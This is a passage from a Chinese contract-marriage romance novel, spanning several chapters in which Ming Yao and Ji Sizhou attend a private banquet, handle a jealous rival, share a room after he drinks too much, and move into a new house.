季斯舟没避着她,是外放的,所以明遥听的清清楚楚。
而且她还看见,季斯舟的眸子里有一丝无奈。
明遥有点想笑:“那我们就拍张阿姨想要的给她。”
她是知道长辈想看什么的,刚才那些规规矩的就算了,她怕被方姿看出来两人是假的。
化妆师立马会意:“季总,请和太太靠拢一点。”
她挽住了季斯舟的手臂,身体微微往边上靠近,“这样感觉可以吗?季先生?”
季斯舟就算是感觉不可以,此刻也得在自己准老婆的面前装住了。
他抿直了唇,绷紧了下巴,然后轻轻地点了点头。
耳边的热度了是骗不了人的,季斯舟很清楚,如果明遥再仔细地看一些,马上就能发现自己强撑的破绽。
但好在,明遥没有。
拍好的照片发过去,明遥顺便让化妆师把剩下的照片都传给了自己一份。
季斯舟的手机震个没完。
方姿把他们的照片发到了家族群里,实在是赞不绝口。
明遥和季斯舟重新回到车里,这次往私宴里去了。
车内无话,但是明遥听见季斯舟的手机一直在响。
她在余光里偷偷地看,发现季斯舟的眉头紧锁,气压有些低迷。
明遥多少能猜到一点他的不舒服,季斯舟这种极为注意私人距离和空间的人,不仅和自己挽着手拍了照,还发去给家人。
估计也不喜欢这些照片流传出去,明遥想了想,准备把自己手机里的那些都删掉,季斯舟的眼神随之而来。
明遥忍不住开口:“我马上就会删干净。”
“你误会了。”季斯舟顿了顿之后说,“妈说还想要其他的照片,她不信我说只有一张。”
就这事?
“哦哦,我现在都发给你。”明遥直接选中,然后全部投给了他。
一时手快,她把自己在化妆间里做好造型后的随手自拍也投过去了。
明遥没忍住“嘶”地抽了口凉气,“投错了,一会儿你自己删掉。”
“好,不用紧。”季斯舟的手指在屏幕上划动了几下,又切到微信的界面,把几张照片发出去,想收起手机的时候,那边弹出几条消息。
季斯舟一瞥,默不作声地把手机收起来了。
夜幕还未完全降临,天色将暗未暗,路灯已经亮起,朦胧的光影外急速地划过明遥的侧脸。
她投向外面的目光很认真,睫毛细密又弯长,投下温柔的影子。
蓬松的柔纱在她纤细的腰肢四周散开,充斥了整个后座的空间,如同绚烂的星河。
在星河其中的人,犹如黑夜中的洁白维纳斯女神,难得没有尖锐的棱角,耀眼却柔和。
她如此漂亮,让季斯舟很难违心闭口不提。
他问:“这裙子你穿很漂亮,喜欢吗?”
“好看。”明遥回过头来,唇边扬起一抹弯弧,她就喜欢闪闪发光,喜欢一切漂亮的东西。
随着动作,星河一缕拂过季斯舟放在身侧的手背,他不动声色地捏住了那一角。
她也问:“是哪里挖来的宝藏服装师?品位很好,能不能推给我?”
“不急。”季斯舟声线微低,“以后只要你需要,他只给你挑。”
14. 第 14 章
私宴的酒店门口,明遥拎起自己的小手包,挽着季斯舟出现了。
车门一开,明遥紧绷着肩线,处于战斗姿态。她先下的车,季斯舟在她之后,为她整理好了宽大的裙摆。
她还以为这必定是一场铺张浪费,被所有的媒体争相报道的宴会,然而,没有。
奢华自然是极尽奢华的,但也兼顾了名流和家属们的隐私,饭店的周围一公里距离都已经安排了保安执勤,周围不设置任何摄像头。
除了有邀请函的人,其他人一律进不来。
里面只允许有记录的摄影团队拍摄,其他一盖不许。
他们一出现在门口,就吸引了所有人的目光。
哪怕礼服已经足够璀璨,也挡不住明遥手指上的戒指在熠熠生辉。
明遥挽着季斯舟的胳膊,丝毫不怯场。
此刻,所有的灯光也仿佛在他们的登对面前黯然失色。
前边的流程走完,最为重磅的是季老爷子亲自上台祝福了自己的孙子,还亲切地称呼明遥为孙媳妇,底下的人自然给老爷子面子,掌声雷动。
之后好些人都来敬酒,到明遥跟前来说祝福的,季斯舟无一例外地都喝了。
“哟,春风得意了。”一道玩笑的嗓音在后方响起,明遥回头,见到了姗姗来迟的骆璟。
他的视线落在明遥的身上,声音懒懒的,“妹妹,我们之前在外面也见过几面。”
动作是一点没含糊,倒了满满的一杯就塞到季斯舟的手里。
白酒。
明遥和骆璟之前是见过,但交集不深,只知道这位骆家的小少爷玩世不恭的,是个让家里长辈头疼的存在。
成天要么钻进山里好半天不回来,要么就在酒桌上半天也不下来。
季斯舟把明遥往自己的身后护了点,“没事的话你就边上点,别吓着我太太。”
“哟,哟,哟!有太太真是了不起了!”骆璟啧两声,自己也拿着酒杯和他碰杯,视线放明遥身上,“妹妹,你知道他这种喜欢秀老婆的毛病什么时候来的吗?”
明遥忍不住笑了。
骆璟应该和季斯舟的关系挺好的,两人之间的氛围也不错。
季斯舟脸色不变,那一杯满的他也不喝,这孙子都叫明遥妹妹了,他没忍住现在就把骆璟丢出去已经是最大的仁慈。
骆璟坏笑着看了眼季斯舟那波澜不惊的黑眸,心道一句我看你还装。
就这个表情,骆璟知道,再来一杯,必醉。
他上前去,“来,我改称呼,我们舟哥现在终于得偿所愿了,祝你们百年好合啊嫂子。”
明遥没听明白骆璟话语里的深意,只知道这种场合的祝词说的好,喝酒免不了。
季斯舟之前已经喝的够多,明遥知道这也不能只灌季斯舟一个人,于是准备自己来喝这杯骆璟的敬酒。
哪想到,季斯舟的动作更快,他端杯,骆璟迅速碰了上去,自己先喝光以示诚意。
明遥就这样看着季斯舟将那杯酒喝完了。
骆璟目的达成,拍了拍季斯舟的肩膀,说了句兄弟保重,立刻借口要去和其他长辈打招呼而开溜。
“还好吗?”
“没事。”
明遥看季斯舟答的沉稳,“你酒量真不错。”
她拿出手机:“你班长联系我了,说你们下周有同学聚会,让你去参加。”
“何勉?”
“嗯,他说你很忙,找不到你人。”明遥顿了顿,“所以找了我,还把我拉到群里去了。”
明遥拿出手机给他看昨天何勉和自己的聊天记录,季斯舟的视线在那几个祝你们百年好合的句子上停顿几秒后说嗯的轻应了一声。
明遥摸不清楚这个嗯是什么意思,“去还是不去?”
季斯舟酒劲上涌,觉得有些热,松了松领带之后说:“我看一下下周末有没有时间。”
“你还真是好忙。”明遥叹口气,想想也是,而她就不一样了,想拿下一个Flora的代理权都拿不下。
呜呜呜呜。
“不过你如果要去的话,是不是亲自去和班长说比较好。”明遥点开群聊给他看,“我看大家经常cue你的,你怎么也不在里面回句话。”
季斯舟就着她的手微微往前凑,耳朵在灯下泛着淡淡的红色。
熟悉的群聊名字,还有几个熟悉的ID,但是季斯舟确定——
“我没在群里。”
“?”
“是不是你之前老是拒绝人家,所以这次干脆都不把你拉进去了。”
明遥的脑回路清奇,季斯舟哑然失笑,黑眸注视着她,“那按照你这么说的话,我这一次还必须去不可了。”
昨晚骆璟也念叨他,说是结了婚之后他不能不去,现在全然是逗明遥的心思。
他淡淡出声:“但同学会上有规矩,如果是已婚人士过去,必须带上自己的家属。”
明遥抬眸,眨了眨眼睛,明白了季斯舟的意思。
她也得出席是吧。
明遥点了点头:“可以,加班。”
刚说完,便看见季斯舟脸上原本有几分笑意的的表情淡了,怕他误会,又说:“我不是说公司的加班。”
季斯舟垂眸应了医生,倒也看不出来他眸中喜怒。
明遥闻到清淡的酒味,这才意识到两人的距离这么靠近。但季斯舟自己什么也没说,明遥自然不在意距离。
她的手机忽然亮起,群里有人艾特她,她低头看。
消息很多,一点就跳转到了那些消息之上。
【同学1:大消息!骆璟好像说舟哥这次可能要来!!】
【同学2:@何勉,班长二班是不是和我们同一天在夜宴聚,昨晚上看到他们班的人发朋友圈说了哎】
【同学3:二班知道我们定在下周六聚会故意的?我们班一个意意,二班一个谢庭笙,见到嫂子真的不会打起来吗?】
……
【同学4:你他妈的别乱嘴,嫂子在群里呢看到了怎么办!别带意意啊,指不定把意意认出来了……】
明遥的视线在看到意意和谢庭笙的名字时一顿。
直觉告诉她,这两个名字都和自己的现任假老公有千丝万缕的联系。
【方意:怕什么?我不怕!告诉你们我今天就在晚宴现场,我看舟哥和他老婆根本就是假的。】
【方意:输给笙姐我算了,输给你我不服,@富婆领低保到时候你要是敢来,我亲自敬你一杯酒!】
同学群里一瞬间炸了,所有人急速往上刷,让方意不要在这乱说。
直到何勉出现,而他往上翻消息的时候,已经过了两分钟的保护期,方意的消息已经无法撤回。
有人在群里发:【方意算了,还好舟哥不在群里,不然他要是真生气了,谁也惹不起。嫂子在参加私宴呢,应该没看到,这件事就这么散了,不要再提。】
巧就巧在,不看消息的明遥今天看消息了。
她看向一旁的季斯舟,因为刚才有生意伙伴过来,季斯舟并未看见。
“我过去一会儿,”季斯舟低声在她耳边,“应该还有半小时,喝了酒记得吃点东西。”
明遥去拿蛋糕的时候,刚看中的那个小黑森林蛋
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糕被人拿走了。
她没抬头,去拿另外一块,手指才刚那去,那个也被拿走了。
“你喜欢抢人东西是吗?”明遥抬头,看到了一张娇气跋扈的脸。
两分钟前她还对这人不熟。
方意挑眉问:“知道我是谁么?”
“不需要知道。”明遥一脸whocare你了,指着在方意面前的两个小蛋糕,“你要是喜欢吃的话给你了,别浪费。”
方意带上怒气:“一个现在无权无势的孤女也配来和我叫板,这是你选了不要的,我凭什么要帮你吃?”
她把小蛋糕往明遥的那边一丢,蛋糕从桌沿不小心滚落下来,明遥不想把裙子弄坏了,连忙后退,可鞋面上还是蹭上了蛋糕的奶油。
黑白分明,对比强烈。
“看我干什么?瞪我干什么?”方意哼笑,恶人先告状,“刚好这鞋子我看着就不爽,就一双的限量款,我想要买好久了,怎么就就穿在你脚上了?”
明遥反而轻笑了声。
方意什么情绪都写在脸上,性格也冲动,就一个被家里保护的极好的骄纵大小姐,这种人实在好对付,都不用花心思。
就是可惜了鞋子,她今天的鞋子是招谁惹谁了?一双两双的都逃不开被脏东西碰到的命运。
就是可惜,这次没有新鞋子换了。明遥拿出一张湿纸巾,刚准备弯腰,有人从她的手里将湿巾拿过。
方意还想说什么,却在看到明遥身边出现的那人时,脸上所有的表情都僵住。
“怎么了?”
明遥没说话,但是季斯舟顺着她的视线看过去,发现鞋子脏了。
上面有了甜腻的奶油,本来又是一双黑色的鞋子,所以奶油格外的明显。
“方意,你在胡闹什么?”
方意身上的气焰一点也见不到:“……不是,我也不是故意的,你就只听这女人的?”
季斯舟不理她,只看向明遥:“我带你去换一双。”
明遥就喜欢新鲜的,漂亮的玩意儿。这鞋子已经穿过一次了,现在又脏了,季斯舟怎会不懂她的心思。想着现在时间还早,能够补救,应该能把大小姐的心情挽回一下。
“老公,我就要穿这双。”
其余两人都怔住了。
方意震惊地睁大了眼睛:“你,你叫他什么……”
明遥重复了一遍:“老公,我就喜欢你送的这双,才刚穿上没多久,还没腻。”
她的语气有刻意的软糯,眉眼娇俏。
季斯舟明知道她是故意装的,可还是这样的受用。
他甚至这一刻心里都想饶过方意,暂时不和她计较了。
季斯舟蹲下去,修长的手指捏着湿纸巾,覆盖上去,“那我帮你擦干净。”
所有的灯光,已经汇集于此。
季斯舟将她的鞋子擦的干净,如初般完美,而明遥看自己的鞋子,越看越顺眼。
季斯舟可真会送礼物,她觉得自己还能继续宠幸这双鞋一段时间。
刚巧两人一同答谢宾客上台的时间也到了。
在方意嫉妒有敢怒不敢言的目光中,明遥名正言顺地搭上了季斯舟的胳膊。
一步步的,挽着他,走向那光亮处。
季斯舟先到了话筒边,低沉的开口。
“谢谢大家来见证这一刻。”
他妥帖地将话筒调低,到了明遥合适的位置。
“我是明遥。”她看见季见宜在下方示意两人再靠拢些,又比了个拍照的手势,明遥弯了弯眼睛手上的钻戒熠熠生辉。
“这是我的先生,季斯舟。”
15. 第 15 章
一场宴会下来,明遥是其中最漂亮璀璨的明珠。
拿着红酒杯在旁侧的季斯舟,虽然被人群围着,但是视线仍旧跃过了人群,投向那同样被人围着的人身上。
在雷鸣般的掌声下走下台,两夫妻被人团团围住说庆祝的话。
方姿和季见宜带着明遥去认人,季斯舟才放心。
明遥下来后,没再在意方意在哪儿。
包括群里所说的谢庭笙,她都能一概看过就罢。
季斯舟有一句话说的特别对,既然已经是互相站在彼此身边的关系,没必要再去在乎那些失败者。
但明遥不喜欢被挑衅。
方意挑衅她,才会让她生气。方意喜欢季斯舟,可以随意。
两人下了台,明遥才放开季斯舟的手。
季见宜白了季斯舟一眼,啧一声。
“看你身上的味儿,赶紧回去得了。”
但扭头对明遥说的却是:“遥遥,要不要留在这里再玩玩?刚才那个刘太太说可喜欢和你聊天,还想和你继续喝。”
季斯舟:“……”
明遥轻声道:“斯舟喝的多,我还是和他一块儿走。”
季见宜也不阻拦,只是拉着明遥:“那行,咱们去和她们说一下,你们就先回去。”
明遥点头,和季见宜去了不远处,很快便又被人围起来。
季斯舟颀长的身躯靠着桌台,出神地望着明遥的身影。
“你真醉了?我给你拍下来了。”骆璟出现在他身边,“这么明显,你也不怕人小姑娘发现你意有所图。”
季斯舟闻言收回目光,却并不回答骆璟的话。
骆璟觉得稀奇:“哎哟兄弟,我就是随口两句,你真emo了,想什么呢你?”
季斯舟的脑海中没有其他,只是在一遍遍想着明遥的表情,和面对着这些人的状态。
她如那最浓郁冷香的玫瑰,有着明艳的外表,也丝毫不掩饰自己的刺和锋芒,如此游刃有余。
轻轻松松地便吸引走所有人的目光。
回来之后,明遥因为忙着自己父亲葬礼的事情,从未出席过任何的聚会,所以很多人以为明大小姐还在消沉。
不知为什么,今天在众人面前的明遥,反而没有那个在车里微微嘟着嘴,时而又逃开自己靠近的明遥那样的让他觉得真实。
她给自己设置了一道屏障,他人无法触及的。
“舟哥!我有话问你。”
骆璟见方意过来,耸耸肩,礼貌地拿酒走了。
季斯舟蹙眉,方意便已经开口了。
“舟哥,你结婚的事情太突然了,为什么?”方意很不开心地说,“但凡你说这还是之前的明家也好想一点,可是明家现在都不在明遥的手里了!她,她是不是故意……”
谁不知道明遥在自己的公司里只是个虚职,真正的实权都在她继母的手里拿着。怪谁?谁让她十年不回来,现在家都被小三都偷光了。
圈子里看中门当户对,甘佳君再怎么得势也是小三上位,始终会让人不齿。
越是出名的家族,就越在意婚姻在公众眼中的影响力,更不会轻易离婚。
正因如此,季斯舟和明遥结婚,才会引起轩然大波。
季斯舟皱眉:“方意,我出现在这里不是想听你说这个。”
“你又不喜欢她!你干嘛和自己不喜欢的女人在一起!”方意的声音略微放大。
季斯舟不知想到了什么,竟然笑了下。
“这和你无关。”
“你是不是有什么把柄在她手里,不然怎么会和她结婚,难道她怀孕了?!”方意的心情很激动,“你那时候拒绝笙姐的时候明明说你心里有人,怎么能这样糊弄她。”
季斯舟想到前几年大学时候的事情,脸上的表情反而柔和了几许,淡淡道:“这些不重要。”
季斯舟没有将这些说给外人听的习惯。
但是他转过头之后,才发现明遥出现在自己身后。
端着一杯水,不知听到了多少。
“不好意思,好像打扰到你们说话了。”明遥挑挑眉,脸上看不出喜怒,只是把那杯水给了季斯舟,“解解酒。”
方意嗤了声,明显看不起明遥的样子。
明遥也跟没看到她似的,反而是方意自己沉不住气要上去:“喂,你不和我打招呼吗?你现在的身份既然是舟哥的太太,一举一动就不能丢了季家的面子。”
明遥哼笑了声,“我就说了我不喜欢小朋友,怎么总是如此的吵闹?”
方意:“你说我是小朋友?你,我不喜欢你!”
“方意,不要对我老婆无礼。”季斯舟打断了她的话,上前和明遥站在了一起,两人的模样,确实像是天造地设的一双。
方意看的心里很不舒服,但她也不敢顶撞季斯舟。哪怕季斯舟这样说了,她也只当是因为季斯舟在意今天季家在外的名声,才对明遥如此维护。
她才不信,舟哥会真的喜欢这样的一个人。
季斯舟知道那边都已搞定,跟着明遥往后走,方姿过来询问:
“回哪儿去?”
明遥刚想回答说送自己回明家便好,可看见方姿希冀的眼神,忽的明白过来方姿的言外之意。
私人晚宴之后,已经向大家宣布她是季斯舟的妻子,两人自然是该住到一起去的。
季斯舟回:“母亲,我们自己有安排,今天先送她回去。”
明遥跟着配合圆谎:“是……我的东西太多了,所以暂时还没有搬完。”
方姿又怪他:“我早就说过让你上点心,公司的事情再好怎么忙也要把老婆的事情先处理完,哪有你这样的?难怪人家说我们对遥遥不上心。”
明遥想帮季斯舟说说话,但季斯舟微微摇头。
方姿说:“你别护着斯舟,你别看他人模狗样的,但实际上就是个糙小子,很多细节上的事情处理不来,你多说说他就是了,明天妈叫人去给你搬家。”
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“今晚,你们还是要在一块的。不然你就陪着遥遥睡在明家,反正不能让她一个人,知道了没有?”
明遥哑然,万万没想到是个这走向。
方姿开始做安排:“这法子好,免得遥遥自己回去被那些人欺负,你们今天先去遥遥家住,明天周末,正好叫人搬去景秀园。”
景秀园是季斯舟的一套在市中心的房产,之前在拟定婚前协议的时候明遥记得隐约看见过,季斯舟好像把那套房产作为婚房了。
看着方姿笑眯眯的温柔眼神,明遥只好点点头。
重新和季斯舟坐回车里的时候,明遥才发现两人身上的酒味都特别的重。
明遥喝的不算多,而且本来酒量也还可以,但是季斯舟……明遥看向旁边的男人。
季斯舟看上去好像没什么事情,脸色也一如平常,但根据明遥的经验来说,越是这样的人,就越可能已经喝醉了。
明遥选择假装自己什么也不知道,眼睛一闭。
“咚。”
没多久,她忽然听见旁边的人脑袋嗑在了窗户上的声音。
?
明遥睁开眼睛,却发现季斯舟正襟危坐,就好像刚才那声不是他撞的。
明遥看他,他也不回看,就直视着前方。
像是喝醉了但还是要硬装。
过一会儿,明遥憋笑道:“是你撞头了?”
季斯舟回的极快,“没有。”
“哦。”明遥点头,峰回路转,“痛吗?”
“……有点。”也回的极快。
明遥忍不住笑了出来。
车里的气氛终于开始变得缓和了,季斯舟这才回头去看明遥。
不看倒好,一看就好像认清了人然后吓着了似的,明遥看他往边上坐了坐。
“别再靠过去了。”明遥制止他,怕季斯舟又能撞到玻璃,“坐过来一点。”
“刚才我妈说的事,你同意了?”
听季斯舟有些迟疑的开口,明遥才知道他还在想这件事。
大概率季斯舟也是不爱拘束,没半点和自己住一起的想法的。现在没办法接受,连在车里退半步的动作都冒出来了。
明遥道:“既然阿姨已经开口,那我们只能先照做。”
方姿的担忧不无道理,他们在外界已经是夫妻,做戏要做全。
“明遥,”他揉了揉自己的眉心,轻轻闭上眼睛,看不出来在想什么。
光念了名字,又不讲话,明遥能想象到季斯舟有多不愿意和自己住在一起。
她不知道季斯舟有什么不高兴的,今天自己全程配合,连听到他的爱慕者来挑衅都没生气。
哪里还做的不行?明遥不是让自己受委屈的人,他生气,她又不知是为何,结合宴会上听到的种种,自己的气也快升起来了。
刚想开口,就听见身旁的男人轻轻地问她:“你今晚上是不是不开心?”
明遥那还没来的及生出来的气,哗地一下,就灭了。
16. 第 16 章
但明遥没说话,她想知道季斯舟还会说什么。
她垂眸看向自己的手指上的钻戒,又大又璀璨。
这是自己和季斯舟之间关系的象征,这颗钻石似乎大有来头,在私宴上,上至十三四岁的小姑娘,下至三四十岁见惯珠宝的富商太太,各个都对这颗钻石赞不绝口。
明遥的气熄了。
季家的给的诚意已经够多,不是吗?她还在贪心什么呢?
“我和方意没有关系,那些话是因为不想让她再继续追问下去所以说的。”
“知道。”明遥回头看他,“我也不在意这个。”
就是合作伙伴而已,当然不在意那些小三小四小五。
季斯舟那边果然没了动静。
明遥真怕又给摔到玻璃上,这明显就是喝醉了。
她垂眸看着自己的手机,实则是在注意那边的动静。
但手机还是要看的,她的手指好像有肌肉记忆,直接打开了小红书,跳转了后台。
【你好,请问什么时候更新新的?】
【没看见你是否有着装方面的教学,所以冒昧询问一下,如果有共同出席的场合,着装是否有准备?】
着装?
发送时间是昨天,不知道她今天再回复还来不来得及。
但明遥还是回了。
【建议你在配饰上下点功夫,不用显得太刻意。】
就像今天自己和季斯舟的这样,就很典型。
季斯舟又搭的很好,袖口和方巾,矜贵的要死。
等等。
干嘛用自己和季斯舟坐对比?
明遥道:“为什么这么问?”
“感觉出来的。”季斯舟揉了揉眉心,显出有几分惫懒,他背光地望向明遥。
明遥没有否认,“但我配合的很好,不是吗?”
“和配不配合无关。”
季斯舟继续道:“以后做事,只凭你高兴。”
低低的嗓音在后座的空间里尤为清晰,喝醉后的声线不似平日清明,染上一丝沙哑,也更有磁性。
明遥的心头一跳,摸不出来季斯舟的意思。
“既然说了要把这事做好,那就更融入到这个身份一些。”季斯舟淡声,“你是季斯舟的太太,不需配合。”
明遥不自觉捏紧了手机,心中像是有人在树上投下细小的碎石,一点点砸出涟漪。
她确信季斯舟喝多了,话明显比往日多。
明遥转头:“季斯舟,你是在哄我吗?”
静默一瞬的人换成了他,片刻后,她和季斯舟对视,丝毫不惧,明遥想从季斯舟的眼睛里找到自己能看明白的情绪。
但没有,这男人的黑眸沉入夜色,冷静而包容,没有丝毫的破绽。
好听的声音再响起。
“我不知道该如何哄女孩子高兴。”
“唯独能给你个保证,你想要做什么就去做,不会有人勉强你——包括我。”
明遥很想问季斯舟,真的不知道哄女孩儿吗?那怎么这么天赋异禀?
一个人和另一个人相处的时候,只是那片刻的灵魂共振,也足以让人心动。
对别人应当如此,但明遥深知和季斯舟是不可能的。
但她的心情确实因为季斯舟的这番话变得不错,微微翘着嘴角,思考着季斯舟这个便宜老公捡来的真是时候,足以让她炫耀好长时间。
到家的时候,季斯舟还全无异样。
明家灯火通明,进门之后,甘霖和甘佳君居然都在。
她们两个面前的茶水动都不动,明显是等她回来。等到她回来了,没被邀请去现场的怒火还没开始发作,就看到在后面跟着进来的季斯舟。
瞬间哑火。
明遥似没看见她们出现一样,从鞋柜里选出一双新的最大码女士拖鞋,“呃,家里没准备别的,只能让你先穿这个。”
季斯舟好像不在意,勉勉强强穿进去。
“季总……季总?”甘佳君是个人精,忽的一拍自己的嘴,“看看我这嘴,你们都已经结婚了,我也应该改口了。斯舟,你这怎么和明遥一起回来了?”
季斯舟淡淡道:“方便明天替她搬家。”
“搬家?!”
“你不是说结了婚之后不和老公住在一起,是季家看不起我?”明遥微微低下头去看甘佳君那吃了屎一般的表情,“咦,现在我要搬出去了,你又舍不得我?”
甘霖刚往前走一步,明遥冷冷地抱臂道:“你们记住,这是我家,你们能住的时间不长了。”
底下的目光始终看着,明遥在带着季斯舟上楼梯的时候才想起一件事。
她前脚才炫耀了季斯舟,后脚总不可能安排季斯舟就去睡她隔壁的客房吧……身后的人似乎一点异样都没察觉到,还踩着那双女士拖鞋跟着她。
明遥推开自己的房门。
季斯舟也跟上,像个一米九的小尾巴。
门一关,季斯舟在门边一动不动。
明遥的卧室就一张床,她有点为难,刚开口:“要不你还是去隔……”
季斯舟忽然皱了皱眉头,压低了声音说:“我先去一下浴室。”
他言简意赅:“头晕,我想吐。”
!
明遥才想起来季斯舟今晚喝的那么多,可能还混了酒。
她忙不迭地带着他推开浴室的门,里面传来水声。过了一会儿又没声音了,明遥才知道原来季斯舟醉的厉害,只是她自己一直没说,明遥也就没察觉。
季斯舟到底喝了多少?
“季总,你没事吧?”没人应。
“季斯舟,季斯舟?”
里面没人回答,明遥硬着头皮敲响了门,又听到季斯舟好像在吐。
她顾不得那么多了,刚要闯进去的时候,季斯舟从里面拉开了门。
他的额前头发沾上了水,显得湿漉漉的,明显刚刚在洗脸漱口。他一定是吐了,脸色显得格外苍白。
“你刚刚要和我说什么?”
季斯舟问。
明遥语塞。
她只想说让季斯舟去隔壁休息来着……但是看他这么不舒服的样子,自己还把他发配出去,自己都觉得太过分。
季斯舟嗓子不太舒服,轻咳了两声。这两声让明遥的心一横,她只好说:
“我是想问你,要给你倒杯温水给你吗?”
房间很大,再打个地铺简简单单。
被子也有很多。
季斯舟像是没听懂她的言外之意,歉意地微微摇头:“很晚了,你晚上也喝了酒,我不想吵到你,我今晚去隔壁睡。”
“放心,到时候她们如果问起,我来回答就好。”
“你的脸很白。”明遥皱眉。
季斯舟道:“只是看起来白而已,我喝多了之后吐过就好了。”
“你的胃和嗓子没有不舒服吗?”
明遥显然不信,等到季斯舟吐完出来,嗓子声音都一样了,谁信谁傻子。
她没办法把这样的季斯舟丢在外面,季斯舟的再三保证,也像是一种只是不想麻烦自己而产生的推拒,于是明遥下定决心:“今晚就在我房里睡吧。”
季斯舟诧异的眼神看过来。
明遥的眼神并无变化:“不
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是一个床,你打地铺。”
房间里安静了片刻,季斯舟说:“好。”
他答应的这么快,想想也知道肯定很不舒服。明遥这里没有季斯舟能够穿的衣服,她只能去衣帽间里找。
还好她有段时间喜欢oversize风,备了不少家居服,季斯舟穿的尺码也有。
意外需要共处的第一个夜晚,明遥心里没有太大的感觉,她关灯休息,还在床头摆了杯温水,给季斯舟准备的。
“我睡相很好,”明遥的酒劲散去,染上困意的语调慢慢柔软下去,她自己浑然不觉,示意季斯舟不用害怕,自己再怎么也不至于滚到床下去。
“嗯,早点睡。”
明遥有些好奇。
醉酒的他都能这么一丝不苟,冷静自持,还有什么事情可以让这个男人有别的情绪吗?
这样一看,自己的性格跟他很不像。
也难怪别人会觉得自己跟他结婚惊掉大牙,按照旁人的标准,季太太除了跟他门当户对强强联合,应该还是温柔得体,而不能所谓像她一样离经叛道。
睡觉之前,季斯舟听见明遥在给黑暗里问了声:
“季斯舟,你睡着了吗?”
“没有,”季斯舟的手才刚摸到自己的手机,本来是想看看有没有消息进来,但是一听见明遥的声音,黑夜掩饰了他的心虚,季斯舟默默将手机塞到了枕头下面,生怕自己的动作被明遥知晓。
“既然你说,以后的事情都凭我的喜好,那我想提一个要求。”
“你说。”
“是方意还是什么谢庭笙,不管和你怎么样,都不准闹到我的面前来。”明遥低声道,“和其他无关,我不喜欢被指着鼻子骂的感觉,不喜欢别人暗戳戳欺负,我会加倍还回去。”
“不会。”季斯舟在黑暗中说,“不会发生这种事。”
得到了他的保证,明遥满意了,她知道季斯舟这人重视承诺。
她模糊地嘀咕着。
“你要是喜欢上了谁,你就直接告诉我。”
季斯舟呼吸微妙的一滞。
地铺放了好几层被子,很软,季斯舟仰头,想开口说不要跟我讲什么你退出的胡话,便听见明遥的后半句:
“我还可以帮你看看那个人靠不靠谱。”
“……”
说完了之后,明遥就没有再听见季斯舟的声音了。
她估计是因为喝醉了酒,已经熟睡了。
呼吸平缓,明遥也很快入睡。
只有季斯舟自己在黑夜里辗转难眠,打开手机后居然看见了一条博主一个小时前的更新。
【恋爱小tips:精神恋爱上拥有灵魂的共振,□□感受上记得欲擒故纵,让对方对你无法捉摸,才能欲罢不能。】
这是什么意思?
还没看别人的回复解密,他的手机上又收到了骆璟的消息。
【晚上没事儿吧?】
【友情提示,男人喝多了会不行】
季斯舟无语。
并不是很想搭理这个脑袋里只有这些东西的狗。
哪想到骆璟在那边又发来一句:
【那个,你之前不是说自己有军师,给我也推一下,我也想学习】
季斯舟回复简明扼要两个字:【不给】
没想到他回复了只之后,手机开始被轰炸惊讶感叹号。
季斯舟赶忙把手机静音。
他小心地看了看床上的明遥一眼,确保没有被吵醒后,才再度看消息。
那边说:
【你这么晚了还能回复我的消息,看来是没有夫妻生活了】
17. 第 17 章
第二天一早,明遥就醒了。
第一次有个大男人在这里和自己共处一室,她的潜意识里并没有把自己放在舒适的环境之中。
下意识往床下一看,没人,榻榻米上的被子叠的整整齐齐的。
规整的像季斯舟那个人。
人呢?
像是回应她,轻轻的推门声响起,发现季斯舟穿着衬衫从浴室走了出来。
他衬衫顶上的两颗纽扣都没有扣好,身形太优越,没了平时的规整,却平添了一分平时看不到的随性,像风流的贵公子。
宽阔的肩膀之下,锁骨若隐若现。
刚好被明遥看见,季斯舟的表情微怔了下,而明遥揉着眼睛起身,迷眼神还不算清醒,刚好胶着在季斯舟的锁骨上,“早。”
“早。”季斯舟走过来,修长的手指把自己的扣子扣好,又变成了那一丝不苟的模样,“你还可以再睡会儿的。”
“你穿这么正式,突然有事吗?”
明遥没有记错的话,昨天方姿还告诉了她今天是周末来着。
“没有,我去做早餐。”
明遥:“……”
没有别的意思,她就是很想知道谁家好人是穿着正装一大清早去厨房做早餐的。
那一句“我只在片里看见过这样的场景”几乎要脱口而出,但是看到季斯舟那冷淡的神情时,戛然而止。
她驱赶走自己脑袋里的废料,笑了笑:“好的,”
不愧是季斯舟,一个可以让她无痛性冷淡下来的男人。
她,是绝对不会对自己合作的盟友产生任何想法的。
等到明遥正式磨蹭完、洗漱,护肤后起床,已经是一个小时后的事情了。
给自己的发尾抹上精油,明遥下楼的时候才后知后觉——季斯舟刚刚好像是要给自己做早餐的意思。
季斯舟怕不是还在微醺,明遥不合时宜地想着。
楼下,家里的佣人还在,但甘霖和甘佳君不见踪影。她的视线望过来的时候,季斯舟正好脱下围裙。
“刚好,来吃东西。”
很漂亮,很营养也很健康的……白人饭。
明遥静默了一瞬,把贝果放进嘴里咬一口,里面有黑椒味的脆皮热狗。
怪好吃的。
她看季斯舟一眼,男人就坐在对面,慢条斯理地用着刀叉,将要抬头的时候,明遥又把视线挪到自己的盘子里,什么都没说。
两人简单的吃过,方姿叫的搬家团队就来了。
明遥的东西不多,团队很专业,分区域分生活阶段的给她全部打包,不到一小时就弄完。
明遥随口说:“原来我的东西这么少,还没有我在美国的三分之一。”
季斯舟道:“以后想要什么继续添置。”
明遥点头之后,季斯舟又问,“那边的东西需不需要运回来?”
“不用,不是什么重要的东西。”明遥想了一下,盯着小车里的行李,小声说,“就是有几个设计款的裙子,买的时候难买,买回来之后却没穿过。”
季斯舟若有所思,“以后会有更多。”
明遥笑笑,轻轻嗯一声。
早上效率快,不到两小时,明遥和季斯舟就到了景秀园。
看着自己的东西都搬了进去,明遥才有了一丝要和季斯舟同居的实感。
这件事来的太快了,虽然合同上没写,但明遥自己也想过,她只能将季斯舟当成是自己的合居室友。
不说别的,景秀园的位置离她上班很方便。
景秀园的房子是三层别墅,中途方姿还打电话来问过一次,嫌弃季斯舟将婚房布置的太不温馨。
在知道今早季斯舟给明遥做了早餐之后,方姿才停止对儿子的嫌弃和唠叨,转而笑着对明遥说:“有什么需要置办的你和我说,斯舟要惹你不开心了也告诉妈妈。”
明遥微笑着:“好的……阿姨。”
终于挂断电话,明遥斟酌着自己是否要对季斯舟再制定一项室友规则,便听身边的男人开口了。
“这套房子是给你住的,我在另外一套,如果有长辈来了需要瞒着,我们就来同一个房子里做配合。”
“……行。”
原来他分的比自己还清楚。
也好,这才是好的合作伙伴。
季斯舟在景秀园有两套别墅,就在这套的斜对面,有什么事情也方便。
东西都安顿好后临近中午,季斯舟准备离开,明遥随口问:
